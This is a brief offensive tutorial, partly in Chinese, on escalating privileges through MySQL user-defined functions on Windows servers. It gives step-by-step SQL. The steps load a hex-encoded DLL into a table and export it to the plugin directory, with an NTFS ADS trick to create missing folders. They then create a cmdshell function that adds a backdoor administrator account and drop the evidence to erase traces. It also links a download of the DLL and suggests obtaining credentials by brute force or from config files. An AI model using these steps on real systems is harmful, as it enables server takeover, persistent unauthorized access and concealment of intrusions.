Privilege Escalation Basis-----mysql-udf Privilege Escalation

1. Summarize the udf privilege escalation method

Obtain the mysql database account password through weak passwords, blasting, website configuration files, etc., --- also need to be able to connect externally

(1). Declare the hexadecimal number of the udf.dll code to the variable my_udf_a

set @my_udf_a=concat('',dll的16进制);

(2). Create a table my_udf_data, the field is data, and the type is longblob.

udf.dll
https://pan.baidu.com/s/1FY8Ej1tMDGdbb5OEcx3BgA

create table my_udf_data(data LONGBLOB);

(3) Update the my_udf_data table to the data in @my_udf_a .

insert into my_udf_data values("");

update my_udf_data set data = @my_udf_a;

(4) View the dll export path

Mysql<5.0，导出路径随意;

5.0<=mysql<5.1，则需要导出至目标服务器的系统目录（如：system32），否则在下一步操作中你会看到“No paths allowed for shared library”错误;

mysql>5.1，需要导出dll到插件路径，插件路径可以用下面这条命令查看:show variables like '%plugin%';

(5) Export the dll

The name of .dll can be named arbitrarily

* In some cases , we will encounter the situation of Can't open shared library, then we need to export udf.dll to the lib\plugin directory, but by default plugin does not exist, what should I do? Fortunately, some Daniels have developed a method to create folders using NTFS ADS streams

select @@basedir;  
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';  
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录

(6) Privilege escalation through cmdshell function

select cmdshell('net user x x /add');

select cmdshell('net localgroup administrators x /add');

(7) Erasing traces:

drop table my_udf_data;
drop function cmdshell;

2. udf Trojan escalation

Enter database account password

follow the instructions